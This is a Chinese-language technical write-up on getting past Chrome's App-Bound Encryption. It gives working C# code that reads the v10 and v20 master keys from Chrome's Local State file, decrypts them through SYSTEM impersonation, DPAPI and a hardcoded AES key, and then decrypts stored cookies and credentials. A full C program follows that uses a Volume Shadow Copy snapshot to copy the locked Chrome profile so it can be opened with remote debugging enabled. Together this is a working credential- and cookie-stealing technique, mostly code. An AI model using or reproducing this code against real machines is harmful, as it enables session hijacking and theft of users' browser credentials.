Chrome cookie v20 解密及调试问题
前言:最近发现Chrome无法解密以及无法调试,这边重新研究下具体是什么情况,然后简单做个记录
参考文章:https://www.elastic.co/security-labs/katz-and-mouse-game?s=09
参考文章:https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
参考文章:https://github.com/runassu/chrome_v20_decryption
参考文章:https://source.chromium.org/chromium/chromium/src/+/main:chrome/elevation_service/elevator.cc
参考文章:https://github.com/SilentDev33/ChromeAppBound-key-injection
参考文章:https://github.com/qwqdanchun/Pillager/blob/main/Pillager/Helper/LockedFile.cs
参考文章:https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption/blob/main/docs/RESEARCH.md
参考文章:https://www.cnblogs.com/zpchcbd/p/18991310
Chrome v127 解密流程
最一开始的时候,Windows 上基于 Chromium 的浏览器一直依赖数据保护 API (DPAPI)来保护本地存储的敏感用户数据,例如 Cookie、密码、支付信息等。DPAPI 将数据与登录用户的凭据绑定,从而为抵御离线攻击(例如硬盘被盗)以及同一台计算机上其他用户的未经授权访问提供了坚实的保障。然而,DPAPI 的致命弱点始终在于其在用户自身会话中的放任性,任何以与 Chrome 相同的用户身份运行且拥有相同权限级别的应用程序都可以调用CryptUnprotectData
并解密这些数据。该漏洞一直是信息窃取恶意软件的惯用伎俩。
随着 2024 年 7 月 Chrome 127 版本的发布,Google实现了浏览器数据的应用程序绑定加密。该机制直接解决了许多针对 Windows Chrome 浏览器数据(包括 Cookie)的常见 DPAPI 攻击。它通过将数据存储在加密的数据文件中,并使用以 SYSTEM 权限运行的服务来验证任何解密尝试是否来自 Chrome 进程,然后将密钥返回给该进程以解密存储的数据。
获取v10和v20版本的密钥
通过Local State
文件获取encrypted_key
和app_bound_encrypted_key
Chromium.cs
public static MasterKey GetChromiumMasterKey(string dirPath)
{
string filePath = Path.Combine(dirPath, "Local State");
if (!File.Exists(filePath))
return new MasterKey();
string content = File.ReadAllText(filePath);
byte[] masterKeyV10 = null, masterKeyV20 = null;
if (!string.IsNullOrEmpty(content))
{
// 解密v10和v20版本的密钥
masterKeyV10 = DecryptKey(content, "\"encrypted_key\":\"(.*?)\"", 5);
masterKeyV20 = DecryptKey(content, "\"app_bound_encrypted_key\":\"(.*?)\"", 4, true);
}
return new MasterKey
{
MasterKey_v10 = masterKeyV10,
MasterKey_v20 = masterKeyV20,
};
}
解密v10和v20版本的密钥
根据encrypted_key和app_bound_encrypted_key的特征来进行进行解密操作
v10的话则解密encrypted_key
v20的话则解密app_bound_encrypted_key
private static byte[] DecryptKey(string content, string pattern, int skipBytes, bool isV20 = false)
{
var match = FindEncryptedKey(content, pattern);
if (match.Count > 0)
{
try
{
byte[] key = Convert.FromBase64String(match[0]);
key = key.Skip(skipBytes).ToArray();
return isV20 ? DecryptV20Key(key) : DPAPIDecrypt(key);
}
catch (Exception ex)
{
Console.WriteLine("[-] Error DecryptKey: " + ex.Message);
}
}
return null;
}
解密v10密钥
private static byte[] DPAPIDecrypt(byte[] encryptedBytes)
{
DATA_BLOB inputBlob = new DATA_BLOB();
DATA_BLOB outputBlob = new DATA_BLOB();
inputBlob.pbData = Marshal.AllocHGlobal(encryptedBytes.Length);
inputBlob.cbData = encryptedBytes.Length;
Marshal.Copy(encryptedBytes, 0, inputBlob.pbData, encryptedBytes.Length);
try
{
if (CryptUnprotectData(ref inputBlob, null, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 0, ref outputBlob))
{
byte[] decryptedBytes = new byte[outputBlob.cbData];
Marshal.Copy(outputBlob.pbData, decryptedBytes, 0, outputBlob.cbData);
return decryptedBytes;
}
else
{
return null;
}
}
finally
{
Marshal.FreeHGlobal(inputBlob.pbData);
Marshal.FreeHGlobal(outputBlob.pbData);
}
}
解密v20密钥
- DoubleStepDPAPIDecrypt调用,总共进行两次不同权限的DPAPIDecrypt解密操作,如下图所示
-
- 首先通过GetSystemPrivileges提升权限来调用DPAPIDecrypt进行解密操作
-
- 接着降权,通过当前用户权限来调用DPAPIDecrypt来进行解密操作
private static byte[] DecryptV20Key(byte[] key)
{
byte[] decryptedKey = DoubleStepDPAPIDecrypt(key);
if (decryptedKey != null && decryptedKey.Length > 0)
{
decryptedKey = decryptedKey.Skip(decryptedKey.Length - 61).ToArray();
byte[] iv = decryptedKey.Skip(1).Take(12).ToArray();
byte[] ciphertext = decryptedKey.Skip(13).ToArray();
byte[] tag = decryptedKey.Skip(45).ToArray();
byte[] aesKey = {
0xB3, 0x1C, 0x6E, 0x24, 0x1A, 0xC8, 0x46, 0x72, 0x8D, 0xA9, 0xC1, 0xFA, 0xC4, 0x93, 0x66, 0x51,
0xCF, 0xFB, 0x94, 0x4D, 0x14, 0x3A, 0xB8, 0x16, 0x27, 0x6B, 0xCC, 0x6D, 0xA0, 0x28, 0x47, 0x87
};
try
{
AesGcm aes = new AesGcm();
byte[] encryptedData = new byte[ciphertext.Length - tag.Length];
Array.Copy(ciphertext, 0, encryptedData, 0, encryptedData.Length);
return aes.Decrypt(aesKey, iv, null, encryptedData, tag);
}
catch (Exception)
{
return decryptedKey.Skip(decryptedKey.Length - 32).ToArray();
}
}
return null;
}
private static byte[] DoubleStepDPAPIDecrypt(byte[] encryptedData)
{
if (!Win32.GetSystemPrivileges())
{
return null;
}
byte[] intermediateData = DPAPIDecrypt(encryptedData);
Win32.RevertToSelf();
if (intermediateData.Length > 0)
{
var encryptedKey = DPAPIDecrypt(intermediateData);
return encryptedKey;
}
else
{
Console.WriteLine("[-] First step decryption failed.");
return null;
}
}
解密凭证
private static byte[] DecryptData(byte[] buffer)
{
if (buffer == null || buffer.Length == 0 || (masterKeyV10 == null && masterKeyV20 == null))
return null;
try
{
string bufferString = Encoding.UTF8.GetString(buffer);
if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11") || bufferString.StartsWith("v20"))
{
byte[] masterKey = bufferString.StartsWith("v20") ? masterKeyV20 : masterKeyV10;
if (masterKey == null)
return null;
if (buffer.Length < 15)
return null;
byte[] iv = buffer.Skip(3).Take(12).ToArray();
byte[] cipherText = buffer.Skip(15).ToArray();
if (cipherText.Length < 16)
return null;
byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray();
byte[] data = cipherText.Take(cipherText.Length - 16).ToArray();
if (data.Length == 0)
return null;
try
{
byte[] decryptedData = new AesGcm().Decrypt(masterKey, iv, null, data, tag);
return bufferString.StartsWith("v20") ? decryptedData.Skip(32).ToArray() : decryptedData;
}
catch
{
return null;
}
}
else
{
try
{
return ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser);
}
catch
{
return null;
}
}
}
catch (Exception ex)
{
Logger.WriteLine($"[-] DecryptData error: {ex.Message}");
return null;
}
}
v10
v20
调试
手动解决方案:复制一份user data目录到其他目录中 然后参数加上--remote-debugging-port=9226 --user-data-dir="C:\Users\Public\User Data"
手动直接复制会出现占用问题,如下图所示
Cookies
Cookies-journal
Safe Browsing Cookies
Session_xxxx
Tabs_xxxxx
通过代码解决,这边给出简单的实现案例
#include <stdio.h>
#include <stdlib.h>
#include <vss.h>
#pragma comment(lib, "vssapi.lib")
#pragma comment(lib, "ole32.lib")
typedef struct IVssBackupComponents IVssBackupComponents;
HRESULT(WINAPI* func_CreateVssBackupComponents)(IVssBackupComponents** ppBackup);
void (WINAPI *func_VssFreeSnapshotProperties)(VSS_SNAPSHOT_PROP *pProp);
typedef struct IVssBackupComponentsVTable IVssBackupComponentsVTable;
typedef struct IVssBackupComponentsVTable {
void* QueryInterface;
void* AddRef;
ULONG(WINAPI* Release)(IVssBackupComponents* this);
void* GetWriterComponentsCount;
void* GetWriterComponents;
HRESULT(WINAPI* InitializeForBackup)(IVssBackupComponents* this, BSTR bstrXML);
HRESULT(WINAPI* SetBackupState)(IVssBackupComponents* this, BOOLEAN bSelectComponents, BOOLEAN bBackupBootableSystemState, VSS_BACKUP_TYPE backupType, BOOLEAN bPartialFileSupport);
void* InitializeForRestore;
void* SetRestoreState;
HRESULT(WINAPI* GatherWriterMetadata)(IVssBackupComponents* this, IVssAsync** ppAsync);
void* GetWriterMetadataCount;
void* GetWriterMetadata;
void* FreeWriterMetadata;
void* AddComponent;
HRESULT(WINAPI* PrepareForBackup)(IVssBackupComponents* this, IVssAsync** ppAsync);
void* AbortBackup;
void* GatherWriterStatus;
void* GetWriterStatusCount;
void* FreeWriterStatus;
void* GetWriterStatus;
void* SetBackupSucceeded;
void* SetBackupOptions;
void* SetSelectedForRestore;
void* SetRestoreOptions;
void* SetAdditionalRestores;
void* SetPreviousBackupStamp;
void* SaveAsXML;
void* BackupComplete;
void* AddAlternativeLocationMapping;
void* AddRestoreSubcomponent;
void* SetFileRestoreStatus;
void* AddNewTarget;
void* SetRangesFilePath;
void* PreRestore;
void* PostRestore;
HRESULT(WINAPI* SetContext)(IVssBackupComponents* this, LONG lContext);
HRESULT(WINAPI* StartSnapshotSet)(IVssBackupComponents* this, VSS_ID* pSnapshotSetId);
HRESULT(WINAPI* AddToSnapshotSet)(IVssBackupComponents* this, VSS_PWSZ pwszVolumeName, VSS_ID ProviderId, VSS_ID* pidSnapshot);
HRESULT(WINAPI* DoSnapshotSet)(IVssBackupComponents* this, IVssAsync** ppAsync);
void* DeleteSnapshots;
void* ImportSnapshots;
/*void *RemountReadWrite;*/ /* Old API only */
void* BreakSnapshotSet;
HRESULT(WINAPI* GetSnapshotProperties)(IVssBackupComponents* this, VSS_ID SnapshotId, VSS_SNAPSHOT_PROP* pprop);
void* Query;
void* IsVolumeSupported;
void* DisableWriterClasses;
void* EnableWriterClasses;
void* DisableWriterInstances;
void* ExposeSnapshot;
void* RevertToSnapshot;
void* QueryRevertStatus;
} IVssBackupComponentsVtbl;
struct IVssBackupComponents {
CONST_VTBL IVssBackupComponentsVTable* lpVtbl;
};
/* Call a method, assuming its signature is identical in the old and new APIs */
#define CALL_METHOD(obj, method, result, ...) \
do { \
*(result) = (obj)->lpVtbl->method((obj), ##__VA_ARGS__); \
} while (0)
HRESULT wait_and_release(IVssAsync* async)
{
HRESULT res;
res = async->lpVtbl->Wait(async, INFINITE);
async->lpVtbl->Release(async);
return res;
}
BOOL request_vss_snapshot(IVssBackupComponents* vss, IVssAsync* async, wchar_t* volume, VSS_ID* snapshot_id)
{
HRESULT hr;
CALL_METHOD(vss, InitializeForBackup, &hr, NULL);
if (FAILED(hr)) {
printf("[-] IVssBackupComponents.InitializeForBackup() error: %x\n", hr);
return FALSE;
}
printf("[+] IVssBackupComponents.InitializeForBackup() success\n");
CALL_METHOD(vss, SetBackupState, &hr, FALSE, TRUE, VSS_BT_COPY, FALSE);
if (FAILED(hr)) {
printf("[-] IVssBackupComponents.SetBackupState() error: %x\n", hr);
return FALSE;
}
printf("[+] IVssBackupComponents.SetBackupState() success\n");
CALL_METHOD(vss, StartSnapshotSet, &hr, snapshot_id);
if (FAILED(hr)) {
printf("[-] IVssBackupComponents.StartSnapshotSet() error: %x\n", hr);
return FALSE;
}
printf("[+] IVssBackupComponents.StartSnapshotSet() success\n");
CALL_METHOD(vss, AddToSnapshotSet, &hr, volume, (GUID) { 0 }, snapshot_id);
if (FAILED(hr)) {
printf("[-] IVssBackupComponents.AddToSnapshotSet() error: %x\n", hr);
return FALSE;
}
printf("[+] IVssBackupComponents.AddToSnapshotSet() success\n");
CALL_METHOD(vss, PrepareForBackup, &hr, &async);
if (FAILED(hr)) {
printf("[-] IVssBackupComponents.PrepareForBackup() error: %x\n", hr);
return FALSE;
}
printf("[+] IVssBackupComponents.PrepareForBackup() success\n");
hr = wait_and_release(async);
if (FAILED(hr)) {
printf("[-] IVssAsync.Wait() error while preparing for backup: %x\n", hr);
return FALSE;
}
printf("[+] IVssAsync.Wait() success\n");
CALL_METHOD(vss, DoSnapshotSet, &hr, &async);
if (FAILED(hr)) {
printf("[-] IVssBackupComponents.DoSnapshotSet() error: %x\n", hr);
return FALSE;
}
printf("[+] IVssBackupComponents.DoSnapshotSet() success\n");
hr = wait_and_release(async);
if (FAILED(hr)) {
printf("[-] IVssAsync.Wait() error while doing snapshot set: %x\n", hr);
return FALSE;
}
printf("[+] IVssAsync.Wait() success\n");
return TRUE;
}
// 创建符号链接目录
BOOL CreateSymbolicLinkDir(const wchar_t* symlinkPath, const wchar_t* targetPath)
{
if (CreateSymbolicLinkW(symlinkPath, targetPath, SYMBOLIC_LINK_FLAG_DIRECTORY))
{
wprintf(L"[+] Symbolic link created successfully: %s -> %s\n", symlinkPath, targetPath);
return TRUE;
}
else
{
DWORD error = GetLastError();
wprintf(L"[-] Failed to create symbolic link, error code: %lu\n", error);
return FALSE;
}
}
// 递归复制目录(类似于 xcopy /s /e /i /h)
BOOL CopyDirectory(const wchar_t* sourcePath, const wchar_t* destPath)
{
wchar_t srcPattern[MAX_PATH];
WIN32_FIND_DATAW findData;
HANDLE hFind;
BOOL result = TRUE;
// 构造搜索模式
swprintf(srcPattern, MAX_PATH, L"%s\\*", sourcePath);
hFind = FindFirstFileW(srcPattern, &findData);
if (hFind == INVALID_HANDLE_VALUE)
{
wprintf(L"[-] Failed to find files: %s\n", sourcePath);
return FALSE;
}
// 创建目标目录
CreateDirectoryW(destPath, NULL);
do
{
const wchar_t* name = findData.cFileName;
if (wcscmp(name, L".") == 0 || wcscmp(name, L"..") == 0)
continue;
wchar_t srcFile[MAX_PATH];
wchar_t dstFile[MAX_PATH];
swprintf(srcFile, MAX_PATH, L"%s\\%s", sourcePath, name);
swprintf(dstFile, MAX_PATH, L"%s\\%s", destPath, name);
if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
// 递归复制子目录
if (!CopyDirectory(srcFile, dstFile))
result = FALSE;
}
else
{
// 复制文件
if (!CopyFileW(srcFile, dstFile, FALSE))
{
wprintf(L"[-] Failed to copy file: %s\n", srcFile);
result = FALSE;
}
else
{
wprintf(L"[+] Copied: %s\n", srcFile);
}
}
} while (FindNextFileW(hFind, &findData));
FindClose(hFind);
return result;
}
// 删除符号链接目录
BOOL DeleteSymbolicLinkDir(const wchar_t* symlinkPath)
{
if (RemoveDirectoryW(symlinkPath))
{
wprintf(L"[+] Symbolic link deleted: %s\n", symlinkPath);
return TRUE;
}
else
{
DWORD error = GetLastError();
wprintf(L"[-] Failed to delete symbolic link, error code: %lu\n", error);
return FALSE;
}
}
int main() {
HRESULT hr;
// 构造初始化变量
IVssBackupComponents* pBackup = NULL;
IVssAsync* pAsync = NULL;
VSS_ID snapshot_id;
// 构造符号链接路径和目标
WCHAR wszVolumes[2048] = L"C:\\";
WCHAR symlinkPath[MAX_PATH] = L"C:\\vss_symlink";
WCHAR copySource[MAX_PATH*2];
WCHAR copyDest[MAX_PATH*2] = L"C:\\ChromeUserDataBackup";
HANDLE hVssapi = LoadLibraryW(L"VssApi.dll");
if (!hVssapi) {
printf("vssapi.dll not found\n");
return -1;
}
func_CreateVssBackupComponents = (void*)GetProcAddress(hVssapi, "CreateVssBackupComponentsInternal");
hr = (*func_CreateVssBackupComponents)(&pBackup);
if (FAILED(hr)) {
printf("[-] CreateVssBackupComponentsInternal error: %x\n", hr);
FreeLibrary(hVssapi);
return -1;
}else {
printf("[+] CreateVssBackupComponentsInternal success\n");
}
func_VssFreeSnapshotProperties = (void *)GetProcAddress(hVssapi, "VssFreeSnapshotPropertiesInternal");
if (!func_VssFreeSnapshotProperties) {
FreeLibrary(hVssapi);
return -1;
}else {
printf("[+] VssFreeSnapshotPropertiesInternal success\n");
}
CoInitialize(NULL);
// in main func
if (!request_vss_snapshot(pBackup, pAsync, wszVolumes, &snapshot_id) ){
return -1;
}
// 获取快照信息
VSS_SNAPSHOT_PROP snapProp;
hr = pBackup->lpVtbl->GetSnapshotProperties(pBackup, snapshot_id, &snapProp);
if (FAILED(hr)) {
printf("[-] GetSnapshotProperties error: %x\n", hr);
return -1;
}
LPCWSTR snapshotDeviceObject = snapProp.m_pwszSnapshotDeviceObject;
// 构造源目录路径
swprintf(copySource, MAX_PATH * 2, L"%s\\Users\\join\\AppData\\Local\\Google\\Chrome\\User Data", symlinkPath);
// 创建符号链接目录(解决文件锁定问题)
if (!CreateSymbolicLinkDir(symlinkPath, snapshotDeviceObject))
{
wprintf(L"[-] Create symbolic link failed, cannot continue.\n");
return -1;
}
else
{
wprintf(L"[+] Create symbolic link success.\n");
}
// 递归复制目录
if (!CopyDirectory(copySource, copyDest))
{
wprintf(L"[-] Directory copy failed.\n");
}
else
{
wprintf(L"[+] Directory copy success.\n");
}
// 删除符号链接目录
if (!DeleteSymbolicLinkDir(symlinkPath))
{
wprintf(L"[-] Delete symbolic link failed, please clean manually: %s\n", symlinkPath);
}
else
{
wprintf(L"[+] Delete symbolic link success: %s\n", symlinkPath);
}
// 释放VSS资源
func_VssFreeSnapshotProperties(&snapProp);
if (pAsync) pAsync->lpVtbl->Release(pAsync);
if (pBackup) pBackup->lpVtbl->Release(pBackup);
// 清理资源
CoUninitialize();
FreeLibrary(hVssapi);
return 0;
}
接着指定一个新的userdata目录,如下图所示
再次查看监听端口的时候,此时可以看到本地的调试端口已经开放了,如下图所示